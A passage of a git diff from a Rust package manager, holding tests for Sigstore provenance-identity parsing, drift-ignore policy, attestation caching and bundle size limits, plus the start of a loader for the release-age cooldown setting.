uri.strip_prefix(PREFIX)?; + let (repo_part, workflow_part) = after_host.split_once(WORKFLOWS_SEG)?; + + // `repo_part` must be `/` — exactly one `/`, non-empty + // on both sides. + let (org, repo) = repo_part.split_once('/')?; + if org.is_empty() || repo.is_empty() || repo.contains('/') { + return None; + } + + // Workflow part must carry the `@` suffix for a Fulcio-issued + // workflow cert. A bare workflow path with no ref is not a valid + // GitHub Actions OIDC identity. + let (workflow_path_tail, workflow_ref) = workflow_part.rsplit_once('@')?; + if workflow_path_tail.is_empty() || workflow_ref.is_empty() { + return None; + } + + // Materialize the FULL workflow path as stored on disk: prepend + // the `.github/workflows/` segment so `workflow_path` is + // self-describing (`publish.yml` alone could refer to anything; + // `.github/workflows/publish.yml` is unambiguous and matches the + // plan's §6.1 wire spec). + let workflow_path = format!(".github/workflows/{workflow_path_tail}"); + + Some(SanIdentity { + publisher: format!("github:{org}/{repo}"), + workflow_path, + workflow_ref: workflow_ref.to_string(), + }) +} + +#[cfg(test)] +mod tests { + use super::*; + use rcgen::{CertificateParams, Ia5String, KeyPair, SanType}; + + // ── DriftIgnorePolicy::from_cli ───────────────────────────── + + /// Default state (no flags passed) enforces drift normally. This + /// is the baseline every non-Install caller relies on via + /// [`DriftIgnorePolicy::default`]. + #[test] + fn drift_ignore_policy_no_flags_enforces_all() { + let policy = DriftIgnorePolicy::from_cli(vec![], false); + assert!(!policy.ignores_all()); + assert!(!policy.ignores_name("axios")); + } + + /// `--ignore-provenance-drift axios --ignore-provenance-drift lodash` + /// produces `IgnoreNames`. Other names are still enforced. + #[test] + fn drift_ignore_policy_per_package_collapses_into_set() { + let policy = DriftIgnorePolicy::from_cli(vec!["axios".into(), "lodash".into()], false); + assert!(!policy.ignores_all()); + assert!(policy.ignores_name("axios")); + assert!(policy.ignores_name("lodash")); + assert!( + !policy.ignores_name("express"), + "unnamed packages must still enforce drift", + ); + } + + /// `--ignore-provenance-drift-all` alone → `IgnoreAll`. The + /// short-circuit drops into the blanket-waive path in the + /// install gate. + #[test] + fn drift_ignore_policy_all_flag_alone_ignores_all() { + let policy = DriftIgnorePolicy::from_cli(vec![], true); + assert!(policy.ignores_all()); + assert!(policy.ignores_name("any")); + assert!(policy.ignores_name("package")); + } + + /// Key behaviour from Q2 of the P4 kickoff: passing both flags is + /// NOT an error — `-all` supersedes the per-package list. No clap + /// mutex needed; the combination is unambiguous and the shorter- + /// text flag wins by the simpler of the two. + #[test] + fn drift_ignore_policy_all_flag_supersedes_per_package_list() { + let policy = DriftIgnorePolicy::from_cli(vec!["axios".into(), "lodash".into()], true); + // When -all wins, every name is ignored — including names + // NOT in the per-package list, which is the whole point. + assert!(policy.ignores_all()); + assert!(policy.ignores_name("axios")); + assert!(policy.ignores_name("express")); + } + + /// Empty per-package list + false flag → `EnforceAll`, NOT + /// `IgnoreNames(empty set)`. The latter would behave identically + /// but would obscure the "we're enforcing" signal in debug output. + #[test] + fn drift_ignore_policy_empty_inputs_canonicalize_to_enforce_all() { + let policy = DriftIgnorePolicy::from_cli(vec![], false); + assert!(matches!(policy, DriftIgnorePolicy::EnforceAll)); + } + + // ── parse_github_actions_uri ───────────────────────────────── + + #[test] + fn parse_uri_happy_path() { + let uri = "https://github.com/axios/axios/.github/workflows/publish.yml@refs/tags/v1.14.0"; + let parsed = parse_github_actions_uri(uri).unwrap(); + assert_eq!(parsed.publisher, "github:axios/axios"); + assert_eq!(parsed.workflow_path, ".github/workflows/publish.yml"); + assert_eq!(parsed.workflow_ref, "refs/tags/v1.14.0"); + } + + #[test] + fn parse_uri_handles_nested_workflow_path() { + // Workflow file can live in a subdirectory. + let uri = "https://github.com/sigstore/sigstore-js/.github/workflows/ci/publish.yml@refs/heads/main"; + let parsed = parse_github_actions_uri(uri).unwrap(); + assert_eq!(parsed.publisher, "github:sigstore/sigstore-js"); + assert_eq!(parsed.workflow_path, ".github/workflows/ci/publish.yml"); + assert_eq!(parsed.workflow_ref, "refs/heads/main"); + } + + /// **Reviewer finding regression guard — Finding 1.** Two legitimate + /// releases from the same repo + workflow differ ONLY in the ref + /// portion of the SAN URI. The parser must produce the SAME + /// `workflow_path` for both so the drift comparator's identity + /// tuple treats them as non-drifting. Without the split fix this + /// test would prove by construction that `.workflow`-full-string + /// comparison is wrong. + #[test] + fn parse_uri_release_bump_changes_ref_but_not_path() { + let v1 = parse_github_actions_uri( + "https://github.com/axios/axios/.github/workflows/publish.yml@refs/tags/v1.14.0", + ) + .unwrap(); + let v2 = parse_github_actions_uri( + "https://github.com/axios/axios/.github/workflows/publish.yml@refs/tags/v1.14.1", + ) + .unwrap(); + assert_eq!(v1.publisher, v2.publisher); + assert_eq!( + v1.workflow_path, v2.workflow_path, + "same repo + same workflow file MUST produce the same workflow_path across releases", + ); + assert_ne!( + v1.workflow_ref, v2.workflow_ref, + "different release tags MUST produce different workflow_ref", + ); + } + + #[test] + fn parse_uri_rejects_non_github_host() { + assert!( + parse_github_actions_uri( + "https://gitlab.com/foo/bar/.github/workflows/publish.yml@refs/tags/v1" + ) + .is_none() + ); + } + + #[test] + fn parse_uri_rejects_missing_workflows_segment() { + assert!(parse_github_actions_uri("https://github.com/foo/bar/publish.yml@v1").is_none()); + } + + #[test] + fn parse_uri_rejects_missing_ref_suffix() { + // No `@` — not a Fulcio workflow cert. + assert!( + parse_github_actions_uri("https://github.com/foo/bar/.github/workflows/publish.yml") + .is_none() + ); + } + + #[test] + fn parse_uri_rejects_missing_repo() { + // org with no `/repo` segment. + assert!( + parse_github_actions_uri("https://github.com/foo/.github/workflows/publish.yml@v1") + .is_none() + ); + } + + #[test] + fn parse_uri_rejects_extra_path_before_workflows() { + // `/` must be exactly two segments — no org/group/repo. + assert!( + parse_github_actions_uri( + "https://github.com/org/group/repo/.github/workflows/publish.yml@v1" + ) + .is_none() + ); + } + + // ── extract_san_identity (via rcgen-generated certs) ───────── + + fn cert_der_with_san_uri(uri: &str) -> Vec { + let mut params = CertificateParams::default(); + params.subject_alt_names = vec![SanType::URI(Ia5String::try_from(uri).unwrap())]; + let key_pair = KeyPair::generate().unwrap(); + let cert = params.self_signed(&key_pair).unwrap(); + cert.der().to_vec() + } + + fn cert_der_with_no_san() -> Vec { + let params = CertificateParams::default(); + let key_pair = KeyPair::generate().unwrap(); + let cert = params.self_signed(&key_pair).unwrap(); + cert.der().to_vec() + } + + #[test] + fn extract_identity_from_github_actions_cert() { + let der = cert_der_with_san_uri( + "https://github.com/axios/axios/.github/workflows/publish.yml@refs/tags/v1.14.0", + ); + let identity = extract_san_identity(&der).unwrap(); + assert_eq!(identity.publisher, "github:axios/axios"); + assert_eq!(identity.workflow_path, ".github/workflows/publish.yml"); + assert_eq!(identity.workflow_ref, "refs/tags/v1.14.0"); + } + + #[test] + fn extract_identity_returns_none_for_non_github_san() { + let der = cert_der_with_san_uri("https://gitlab.com/foo/bar"); + assert!(extract_san_identity(&der).is_none()); + } + + #[test] + fn extract_identity_returns_none_for_cert_with_no_san() { + let der = cert_der_with_no_san(); + assert!(extract_san_identity(&der).is_none()); + } + + #[test] + fn extract_identity_returns_none_for_garbage_bytes() { + let garbage = vec![0u8; 32]; + assert!(extract_san_identity(&garbage).is_none()); + } + + // ── parse_sigstore_bundle ──────────────────────────────────── + + fn sigstore_bundle_with_cert(der: &[u8]) -> serde_json::Value { + serde_json::json!({ + "mediaType": "application/vnd.dev.sigstore.bundle+json;version=0.2", + "verificationMaterial": { + "x509CertificateChain": { + "certificates": [ + { "rawBytes": BASE64.encode(der) } + ] + } + } + }) + } + + fn npm_attestations_list_with_cert(der: &[u8]) -> serde_json::Value { + serde_json::json!({ + "attestations": [ + { "bundle": sigstore_bundle_with_cert(der) } + ] + }) + } + + #[test] + fn parse_bundle_standard_shape_extracts_identity_and_cert_sha() { + let der = cert_der_with_san_uri( + "https://github.com/axios/axios/.github/workflows/publish.yml@refs/tags/v1.14.0", + ); + let bundle = sigstore_bundle_with_cert(&der); + let snap = parse_sigstore_bundle(bundle.to_string().as_bytes()).unwrap(); + + assert!(snap.present); + assert_eq!(snap.publisher.as_deref(), Some("github:axios/axios")); + assert_eq!( + snap.workflow_path.as_deref(), + Some(".github/workflows/publish.yml"), + ); + assert_eq!(snap.workflow_ref.as_deref(), Some("refs/tags/v1.14.0")); + + // Cert SHA must match what an independent hash of the same + // DER bytes produces — any divergence would indicate the + // parser is hashing a mis-decoded body. + let expected_sha = format!("sha256-{}", hex::encode(Sha256::digest(&der))); + assert_eq!( + snap.attestation_cert_sha256.as_deref(), + Some(expected_sha.as_str()) + ); + } + + #[test] + fn parse_bundle_npm_attestations_list_wrapper_also_works() { + let der = cert_der_with_san_uri( + "https://github.com/sigstore/sigstore-js/.github/workflows/publish.yml@refs/tags/v2.0.0", + ); + let wrapper = npm_attestations_list_with_cert(&der); + let snap = parse_sigstore_bundle(wrapper.to_string().as_bytes()).unwrap(); + + assert!(snap.present); + assert_eq!( + snap.publisher.as_deref(), + Some("github:sigstore/sigstore-js") + ); + } + + #[test] + fn parse_bundle_with_cert_but_no_extractable_identity_still_present() { + // A cert with a non-GitHub SAN still produces a `present: + // true` snapshot (we fetched + parsed a real bundle) but + // with `publisher: None` — the drift check's "identity + // unknown" handling. + let der = cert_der_with_san_uri("https://example.com/opaque"); + let bundle = sigstore_bundle_with_cert(&der); + let snap = parse_sigstore_bundle(bundle.to_string().as_bytes()).unwrap(); + + assert!(snap.present); + assert!(snap.publisher.is_none()); + assert!(snap.workflow_path.is_none()); + assert!(snap.workflow_ref.is_none()); + // Cert SHA still computed — it's an identity hash, not + // identity metadata. + assert!(snap.attestation_cert_sha256.is_some()); + } + + #[test] + fn parse_bundle_rejects_malformed_json() { + assert!(parse_sigstore_bundle(b"not json {[").is_err()); + } + + #[test] + fn parse_bundle_rejects_missing_cert_chain() { + let bundle = serde_json::json!({ + "mediaType": "application/vnd.dev.sigstore.bundle+json;version=0.2", + "dsseEnvelope": { "payloadType": "foo" } + }); + assert!(parse_sigstore_bundle(bundle.to_string().as_bytes()).is_err()); + } + + #[test] + fn parse_bundle_rejects_non_base64_rawbytes() { + let bundle = serde_json::json!({ + "verificationMaterial": { + "x509CertificateChain": { + "certificates": [ { "rawBytes": "not-valid-base64!!!" } ] + } + } + }); + assert!(parse_sigstore_bundle(bundle.to_string().as_bytes()).is_err()); + } + + // ── Cache round-trip ───────────────────────────────────────── + + fn fresh_snapshot() -> ProvenanceSnapshot { + ProvenanceSnapshot { + present: true, + publisher: Some("github:axios/axios".into()), + workflow_path: Some(".github/workflows/publish.yml".into()), + workflow_ref: Some("refs/tags/v1.14.0".into()), + attestation_cert_sha256: Some("sha256-abc".into()), + } + } + + #[test] + fn cache_write_read_round_trips_within_ttl() { + let dir = tempfile::tempdir().unwrap(); + let snap = fresh_snapshot(); + write_cache(dir.path(), "@lpm.dev/acme.widget", "1.0.0", &snap).unwrap(); + let got = read_cache(dir.path(), "@lpm.dev/acme.widget", "1.0.0").unwrap(); + assert_eq!(got, Some(snap)); + } + + #[test] + fn cache_miss_returns_none() { + let dir = tempfile::tempdir().unwrap(); + let got = read_cache(dir.path(), "missing", "0.0.0").unwrap(); + assert_eq!(got, None); + } + + #[test] + fn cache_corrupt_file_treated_as_miss() { + let dir = tempfile::tempdir().unwrap(); + std::fs::create_dir_all(dir.path()).unwrap(); + std::fs::write( + dir.path().join(cache_filename("pkg", "1.0.0")), + b"not json at all", + ) + .unwrap(); + let got = read_cache(dir.path(), "pkg", "1.0.0").unwrap(); + assert_eq!(got, None, "corrupt cache must degrade to miss, not error"); + } + + #[test] + fn cache_schema_version_mismatch_treated_as_miss() { + let dir = tempfile::tempdir().unwrap(); + std::fs::create_dir_all(dir.path()).unwrap(); + let bad = serde_json::json!({ + "version": CACHE_SCHEMA_VERSION + 1, + "cached_at_secs": current_epoch_secs(), + "snapshot": fresh_snapshot(), + }); + std::fs::write( + dir.path().join(cache_filename("pkg", "1.0.0")), + bad.to_string(), + ) + .unwrap(); + let got = read_cache(dir.path(), "pkg", "1.0.0").unwrap(); + assert_eq!( + got, None, + "future-version cache entries must be treated as misses", + ); + } + + #[test] + fn cache_stale_entry_past_ttl_treated_as_miss() { + let dir = tempfile::tempdir().unwrap(); + std::fs::create_dir_all(dir.path()).unwrap(); + // Write an entry whose `cached_at_secs` is older than TTL. + let stale = CacheEntry { + version: CACHE_SCHEMA_VERSION, + cached_at_secs: current_epoch_secs().saturating_sub(CACHE_TTL_SECS + 1), + snapshot: fresh_snapshot(), + }; + std::fs::write( + dir.path().join(cache_filename("pkg", "1.0.0")), + serde_json::to_vec(&stale).unwrap(), + ) + .unwrap(); + let got = read_cache(dir.path(), "pkg", "1.0.0").unwrap(); + assert_eq!(got, None); + } + + #[test] + fn cache_write_creates_parent_directory() { + // Cache root doesn't exist yet — write_cache must create it. + let dir = tempfile::tempdir().unwrap(); + let nested = dir.path().join("a/b/c/attestations"); + write_cache(&nested, "pkg", "1.0.0", &fresh_snapshot()).unwrap(); + assert!(nested.exists()); + let got = read_cache(&nested, "pkg", "1.0.0").unwrap(); + assert!(got.is_some()); + } + + #[test] + fn cache_filename_is_deterministic_and_collision_resistant() { + // Same input → same output. + let a = cache_filename("@scope/pkg", "1.0.0"); + let b = cache_filename("@scope/pkg", "1.0.0"); + assert_eq!(a, b); + + // Different inputs → different outputs (sanity — SHA256 + // makes collisions astronomically unlikely). + let c = cache_filename("@scope/pkg", "1.0.1"); + assert_ne!(a, c); + + // Scoped-name disambiguation: `@a/b@1` and `@a/b-1` must + // hash differently. (We hash `{name}@{version}` so the + // version separator is part of the input; ambiguity would + // only arise if a name literally contained `@` at the split + // boundary — not a thing in npm/LPM.) + let d = cache_filename("@a/b", "1"); + let e = cache_filename("@a/b-1", ""); + assert_ne!(d, e); + } + + // ── fetch_provenance_snapshot (public API) — non-network paths ── + + /// `attestation_ref = None` is the "registry didn't ship an + /// attestation" signal. Must return `Some(present: false)` and + /// cache it so repeated installs hit the cache. + #[tokio::test] + async fn fetch_returns_absent_snapshot_when_ref_is_none() { + let cache = tempfile::tempdir().unwrap(); + let http = reqwest::Client::new(); + let snap = fetch_provenance_snapshot(&http, cache.path(), "pkg", "1.0.0", None) + .await + .unwrap() + .unwrap(); + assert!(!snap.present); + assert!(snap.publisher.is_none()); + assert!(snap.workflow_path.is_none()); + assert!(snap.workflow_ref.is_none()); + + // Cache should now contain the absent marker. + let cached = read_cache(cache.path(), "pkg", "1.0.0").unwrap(); + assert_eq!(cached, Some(snap)); + } + + /// `attestation_ref.url = None` is semantically the same as + /// `ref = None` — the registry said "no attestation here." + #[tokio::test] + async fn fetch_returns_absent_snapshot_when_url_is_none() { + let cache = tempfile::tempdir().unwrap(); + let http = reqwest::Client::new(); + let att = AttestationRef { + url: None, + provenance: None, + }; + let snap = fetch_provenance_snapshot(&http, cache.path(), "pkg", "1.0.0", Some(&att)) + .await + .unwrap() + .unwrap(); + assert!(!snap.present); + } + + /// A fresh cache entry short-circuits the network entirely. + /// Driving the test through the public API proves the cache-hit + /// branch is wired correctly even though the http client in the + /// test isn't pointed at any real server. + #[tokio::test] + async fn fetch_uses_cache_hit_without_network_roundtrip() { + let cache = tempfile::tempdir().unwrap(); + let pre = fresh_snapshot(); + write_cache(cache.path(), "pkg", "1.0.0", &pre).unwrap(); + + let att = AttestationRef { + url: Some("http://localhost:1/definitely-unreachable".into()), + provenance: None, + }; + let http = reqwest::Client::builder() + .timeout(std::time::Duration::from_secs(1)) + .build() + .unwrap(); + let snap = fetch_provenance_snapshot(&http, cache.path(), "pkg", "1.0.0", Some(&att)) + .await + .unwrap() + .unwrap(); + assert_eq!(snap, pre, "cache hit must not perform an HTTP request"); + } + + /// Network failures degrade to `Ok(None)` (unknown) per the + /// plan's degraded-mode contract. Not caching this result is + /// critical — a transient failure must not poison future + /// installs for 7 days. + #[tokio::test] + async fn fetch_returns_none_on_network_failure_and_does_not_cache() { + let cache = tempfile::tempdir().unwrap(); + let att = AttestationRef { + // Loopback to an unused port — connection refused instantly. + url: Some("http://127.0.0.1:1/never-listens".into()), + provenance: None, + }; + let http = reqwest::Client::builder() + .timeout(std::time::Duration::from_secs(1)) + .build() + .unwrap(); + let result = fetch_provenance_snapshot(&http, cache.path(), "pkg", "1.0.0", Some(&att)) + .await + .unwrap(); + assert_eq!( + result, None, + "network failure must degrade to unknown (Ok(None)) per §11 P4" + ); + + // Most importantly: the failure must not have written a + // stub entry to cache. The drift-rule contract depends on + // `None` never being persisted. + let cached = read_cache(cache.path(), "pkg", "1.0.0").unwrap(); + assert_eq!(cached, None, "network failure must not be cached"); + } + + // ── Body-size enforcement (reviewer finding) ───────────────── + + /// Valid in-bounds response parses end-to-end. This is the + /// positive baseline for the body-size tests below — if this + /// fails, the streaming plumbing itself is broken. + #[tokio::test] + async fn fetch_and_parse_accepts_bundle_under_size_cap() { + use wiremock::matchers::{method, path}; + use wiremock::{Mock, MockServer, ResponseTemplate}; + + let der = cert_der_with_san_uri( + "https://github.com/axios/axios/.github/workflows/publish.yml@refs/tags/v1.14.0", + ); + let bundle_bytes = sigstore_bundle_with_cert(&der).to_string().into_bytes(); + assert!( + bundle_bytes.len() < MAX_BUNDLE_BYTES, + "test fixture must fit under the cap for this baseline test" + ); + + let server = MockServer::start().await; + Mock::given(method("GET")) + .and(path("/att")) + .respond_with(ResponseTemplate::new(200).set_body_bytes(bundle_bytes)) + .mount(&server) + .await; + + let http = reqwest::Client::new(); + let url = format!("{}/att", server.uri()); + let snap = fetch_and_parse(&http, &url).await.unwrap(); + assert!(snap.present); + assert_eq!(snap.publisher.as_deref(), Some("github:axios/axios")); + } + + /// **Reviewer finding — primary regression guard.** A response + /// whose body exceeds `MAX_BUNDLE_BYTES` must be rejected + /// BEFORE the full body lands in memory. Pre-fix, this case + /// allocated the entire oversized body then checked size — + /// defeating the "hostile registry" defense claimed by the + /// module docs. Post-fix, the streaming cap rejects during + /// accumulation, so even a 10 MiB body never lives in our + /// process heap. + /// + /// wiremock by default sends a truthful `Content-Length`, so + /// this case exercises the stage-1 pre-stream check. A + /// chunked-transfer variant would hit stage 2; both stages + /// reject with the same `Err(())` sentinel, so a single test + /// covers the user-visible contract. + #[tokio::test] + async fn fetch_and_parse_rejects_oversized_body() { + use wiremock::matchers::{method, path}; + use wiremock::{Mock, MockServer, ResponseTemplate}; + + // 2 MiB of ASCII — well over the 1 MiB cap. + let oversized = vec![b'a'; 2 * 1024 * 1024]; + assert!(oversized.len() > MAX_BUNDLE_BYTES); + + let server = MockServer::start().await; + Mock::given(method("GET")) + .and(path("/att")) + .respond_with(ResponseTemplate::new(200).set_body_bytes(oversized)) + .mount(&server) + .await; + + let http = reqwest::Client::new(); + let url = format!("{}/att", server.uri()); + let result = fetch_and_parse(&http, &url).await; + assert!( + result.is_err(), + "oversized body (2 MiB > 1 MiB cap) must be rejected" + ); + } + + /// Public-API flavor of the same regression guard: proves the + /// body-size rejection propagates through `fetch_provenance_snapshot` + /// as `Ok(None)` (degraded) rather than `Err`, AND that the + /// oversized response is NOT cached (same "don't poison future + /// installs" contract as the network-failure case). + #[tokio::test] + async fn fetch_returns_none_on_oversized_body_and_does_not_cache() { + use wiremock::matchers::{method, path}; + use wiremock::{Mock, MockServer, ResponseTemplate}; + + let oversized = vec![b'a'; 2 * 1024 * 1024]; + let server = MockServer::start().await; + Mock::given(method("GET")) + .and(path("/att")) + .respond_with(ResponseTemplate::new(200).set_body_bytes(oversized)) + .mount(&server) + .await; + + let cache = tempfile::tempdir().unwrap(); + let http = reqwest::Client::new(); + let att = AttestationRef { + url: Some(format!("{}/att", server.uri())), + provenance: None, + }; + let result = fetch_provenance_snapshot(&http, cache.path(), "pkg", "1.0.0", Some(&att)) + .await + .unwrap(); + assert_eq!( + result, None, + "oversized body must degrade to unknown (Ok(None))" + ); + let cached = read_cache(cache.path(), "pkg", "1.0.0").unwrap(); + assert_eq!( + cached, None, + "oversized-body rejection must not write a poisoned cache entry" + ); + } + + /// Stage-1 specificity: a response that DECLARES an oversized + /// `Content-Length` is rejected even without the server actually + /// emitting a body. Proves the pre-stream check fires on the + /// header alone — we drop the response before reading any body + /// byte. + /// + /// **Reviewer finding (2026-04-22):** an earlier version of this + /// test used wiremock with an overridden `Content-Length` header + /// and a small real body. That triggered a hyper framing panic + /// in the mock-server's response thread ("payload claims + /// content-length of N, custom content-length header claims M") + /// — the assertion still returned `Ok` because the client saw + /// a transport error (which our code maps to `Err(())` anyway), + /// so the test passed for the wrong reason and left a background + /// panic in the test run. + /// + /// Fix: bypass hyper entirely. Bind a raw TCP socket, write an + /// HTTP/1.1 response with headers declaring a huge + /// `Content-Length`, then close the connection. Our code's + /// stage-1 check rejects on the declared header value and drops + /// the response without ever attempting to read a body byte, so + /// the "declared vs actual" framing discrepancy never surfaces + /// on the client side. Single-shot accept loop — the spawned + /// task exits after handling one connection, no resource leak. + #[tokio::test] + async fn fetch_and_parse_rejects_declared_oversized_content_length() { + use tokio::io::{AsyncReadExt, AsyncWriteExt}; + use tokio::net::TcpListener; + + let declared = MAX_BUNDLE_BYTES + 1; + let listener = TcpListener::bind("127.0.0.1:0").await.unwrap(); + let addr = listener.local_addr().unwrap(); + + // Single-shot responder: accept one connection, send headers + // claiming an oversized body, close. We never send a body — + // the client's stage-1 check bails before reading one. + tokio::spawn(async move { + if let Ok((mut socket, _)) = listener.accept().await { + // Consume the request preamble so the client sees a + // well-formed turn-taking exchange; we don't parse it. + let mut buf = [0u8; 1024]; + let _ = socket.read(&mut buf).await; + let response = format!( + "HTTP/1.1 200 OK\r\n\ + Content-Length: {declared}\r\n\ + Content-Type: application/octet-stream\r\n\ + Connection: close\r\n\ + \r\n", + ); + let _ = socket.write_all(response.as_bytes()).await; + let _ = socket.shutdown().await; + } + }); + + let http = reqwest::Client::new(); + let url = format!("http://{addr}/"); + let result = fetch_and_parse(&http, &url).await; + assert!( + result.is_err(), + "declared Content-Length > cap must reject pre-stream", + ); + } +} diff --git a/crates/lpm-cli/src/release_age_config.rs b/crates/lpm-cli/src/release_age_config.rs new file mode 100644 index 00000000..8e4c16d7 --- /dev/null +++ b/crates/lpm-cli/src/release_age_config.rs @@ -0,0 +1,784 @@ +//! Phase 46 P3 release-age cooldown config loader. +//! +//! Resolves the effective `minimumReleaseAge` (in seconds) for a project +//! install by walking, highest precedence first: +//! +//! 1. **CLI flag**: `lpm install --min-release-age=`. Parsed via +//! [`parse_duration`] — accepts `h` / `d` suffixes and plain seconds. +//! 2. **Per-project**: `package.json > lpm > minimumReleaseAge`. Read +//! via [`lpm_workspace::read_package_json`]; tolerant of missing / +//! malformed manifest (matches [`lpm_security::SecurityPolicy::from_package_json`]). +//! 3. **Global**: `~/.lpm/config.toml` key `minimum-release-age-secs`. +//! Read with a path-aware fallible loader (mirrors Phase 33's +//! [`crate::save_config::SaveConfigLoader`] — malformed TOML or a +//! garbage value surfaces a file-pathed error rather than being +//! silently ignored as [`crate::commands::config::GlobalConfig::load`] +//! would do). +//! 4. **Default**: 86400 (24h). Matches pnpm v10 and the Phase 46 plan §8.1. +//! +//! `./lpm.toml` is deliberately NOT in this chain: per D14 the project- +//! local TOML is scoped to save-policy keys, and the general project- +//! config loader is a separate follow-up (§16). +//! +//! The resolver returns `Result`. Only the global-TOML +//! layer can raise (file read, parse, or value-shape errors). The CLI +//! input is validated upstream by the clap parser hook; the package.json +//! layer is deliberately tolerant, preserving today's cooldown behaviour +//! under D20 (P3 changes gating, not execution semantics). +//! +//! The effective seconds value is then passed to +//! [`lpm_security::SecurityPolicy::with_resolved_min_age`], which couples +//! it with the `trustedDependencies` read from the same manifest. +//! +//! The install-time call site for the resolver lives in +//! [`crate::commands::install::run_with_options`] just before the +//! `minimumReleaseAge` gate; the clap layer parses `--min-release-age` +//! via [`parse_duration`] and fans the resulting `Option` through +//! the install entry points alongside `allow_new`. + +use lpm_common::LpmError; +use std::path::{Path, PathBuf}; + +/// Default cooldown window when nothing else is configured (matches +/// [`lpm_security::SecurityPolicy::DEFAULT_MIN_RELEASE_AGE`]; copied +/// here to keep this module self-contained and to avoid poking at +/// lpm-security's private constant). +const DEFAULT_MIN_RELEASE_AGE_SECS: u64 = 86400; + +/// TOML key in `~/.lpm/config.toml` holding the global override. +const GLOBAL_KEY: &str = "minimum-release-age-secs"; + +/// Parse the `--min-release-age=` CLI argument into a seconds count. +/// +/// Accepted forms: +/// - `h` — hours (e.g. `72h` → 259_200) +/// - `d` — days (e.g. `3d` → 259_200) +/// - `` — plain seconds (e.g. `86400`) +/// +/// Rejected: +/// - Empty string +/// - Surrounding whitespace (`" 72h "`) +/// - Bare suffix without a number (`h`, `d`) +/// - Unsupported suffixes (`72m`, `1w`, `1y`) +/// - Negative values (`-5h`, `-1`) +/// - Non-integer scalars (`0.5h`, `1.5d`) +/// - Overflow when multiplying hours/days into seconds +/// +/// Errors are descriptive and include the offending input verbatim so +/// clap surfaces them directly to the user. +pub fn parse_duration(input: &str) -> Result { + if input.is_empty() { + return Err(LpmError::Registry( + "release-age duration must not be empty (expected `h`, `d`, or `` seconds)" + .into(), + )); + } + if input.trim() != input { + return Err(LpmError::Registry(format!( + "release-age duration `{input}` must not contain surrounding whitespace" + ))); + } + + if let Some(hours_str) = input.strip_suffix('h') { + let hours = parse_scalar(hours_str, input)?; + hours + .checked_mul(3600) + .ok_or_else(|| overflow_err(input, "hours")) + } else if let Some(days_str) = input.strip_suffix('d') { + let days = parse_scalar(days_str, input)?; + days.checked_mul(86400) + .ok_or_else(|| overflow_err(input, "days")) + } else if input + .chars() + .last() + .is_some_and(|c| c.is_ascii_alphabetic()) + { + Err(LpmError::Registry(format!( + "release-age duration `{input}` has an unsupported unit (expected `h`, `d`, or plain seconds)" + ))) + } else { + parse_scalar(input, input) + } +} + +fn parse_scalar(scalar: &str, original: &str) -> Result { + if scalar.is_empty() { + return Err(LpmError::Registry(format!( + "release-age duration `{original}` has no numeric value (expected `h`, `d`, or `` seconds)" + ))); + } + if scalar.starts_with('-') { + return Err(LpmError::Registry(format!( + "release-age duration `{original}` must be non-negative" + ))); + } + // `u64::from_str` silently accepts a leading `+` (e.g. `"+5".parse::()` + // returns `Ok(5)`). Reject it explicitly so `+5h` doesn't quietly mean `5h`. + if scalar.starts_with('+') { + return Err(LpmError::Registry(format!( + "release-age duration `{original}` is not a valid non-negative integer (expected `h`, `d`, or `` seconds)" + ))); + } + scalar.parse::().map_err(|_| { + LpmError::Registry(format!( + "release-age duration `{original}` is not a valid non-negative integer (expected `h`, `d`, or `` seconds)" + )) + }) +} + +fn overflow_err(input: &str, unit: &str) -> LpmError { + LpmError::Registry(format!( + "release-age duration `{input}` overflows when converting {unit} to seconds" + )) +} + +/// Parse a string as a non-negative `u64`, rejecting explicit sign +/// prefixes (`+` or `-`). +/// +/// `u64::from_str` silently accepts a leading `+` (`"+5".parse::()` +/// returns `Ok(5)`), which would let values like `"+259200"` slip +/// through the string-coercion paths in the global config reader and +/// [`crate::commands::config::GlobalConfig::get_u64`]. Since the CLI +/// parser rejects `+5h` by contract, every string-coercion site that +/// interprets a value as seconds MUST apply the same rule — otherwise +/// the persistent config surface silently accepts inputs the CLI +/// rejects, breaking the least-surprise property across the precedence +/// chain. +/// +/// This helper is the single source of truth for string-to-seconds +/// coercion. Callers render error messages as appropriate for their +/// context (file-pathed for the global loader, `Option` for the +/// `GlobalConfig` convenience reader). +pub(crate) fn parse_strict_u64_string(s: &str) -> Option { + if s.starts_with('-') || s.starts_with('+') { + return None; + } + s.parse::().ok() +} + +/// Resolve the effective `minimumReleaseAge` for a project install. +/// +/// See module docs for the precedence chain. The caller is responsible +/// for validating `cli_override` upstream (typically by routing +/// `--min-release-age=` through [`parse_duration`] in the clap +/// layer). This function treats `cli_override` as already-validated. +pub struct ReleaseAgeResolver; + +impl ReleaseAgeResolver { + /// Walk the precedence chain and return the effective seconds value. + /// + /// Returns an error only if the global `~/.lpm/config.toml` exists + /// and is unreadable / malformed / has a garbage + /// `minimum-release-age-secs` value. A missing global file is fine + /// (falls through to default). + pub fn resolve(project_dir: &Path, cli_override: Option) -> Result { + if let Some(secs) = cli_override { + return Ok(secs); + } + if let Some(secs) = read_package_json_min_age(&project_dir.join("package.json")) { + return Ok(secs); + } + if let Some(path) = global_config_path() + && let Some(secs) = read_global_min_age_from_file(&path)? + { + return Ok(secs); + } + Ok(DEFAULT_MIN_RELEASE_AGE_SECS) + } +} + +/// Locate `~/.lpm/config.toml`. Returns `None` only when `HOME` is +/// unset — in that case the global layer is silently skipped +/// (matches [`crate::commands::config::GlobalConfig::load`]). +fn global_config_path() -> Option { + dirs::home_dir().map(|h| h.join(".lpm").join("config.toml")) +} + +/// Read `lpm.minimumReleaseAge` from a project's `package.json`. +/// +/// Tolerant by design: missing / unreadable / malformed manifest +/// returns `None` and the resolver falls through to the next layer. +/// This preserves the existing cooldown behaviour where the 24h default +/// still fires on projects without an `"lpm"` block (D20). +fn read_package_json_min_age(pkg_json_path: &Path) -> Option { + let pkg = lpm_workspace::read_package_json(pkg_json_path).ok()?; + pkg.lpm?.minimum_release_age +} + +/// Read `minimum-release-age-secs` from a `~/.lpm/config.toml` at `path`. +/// +/// Missing file → `Ok(None)`. Malformed TOML, non-table top level, or a +/// `minimum-release-age-secs` value that isn't a non-negative integer +/// (native or string-coerced) → `Err` with the file path baked in, +/// mirroring Phase 33's save-config loader error style. +/// +/// String coercion accepts values like `"86400"` because the generic +/// `lpm config set ` command writes every value as a TOML +/// string (Finding A in [`crate::save_config`]) — the documented +/// persistent-config path must actually work. +fn read_global_min_age_from_file(path: &Path) -> Result, LpmError> { + if !path.exists() { + return Ok(None); + } + let raw = std::fs::read_to_string(path) + .map_err(|e| LpmError::Registry(format!("failed to read {}: 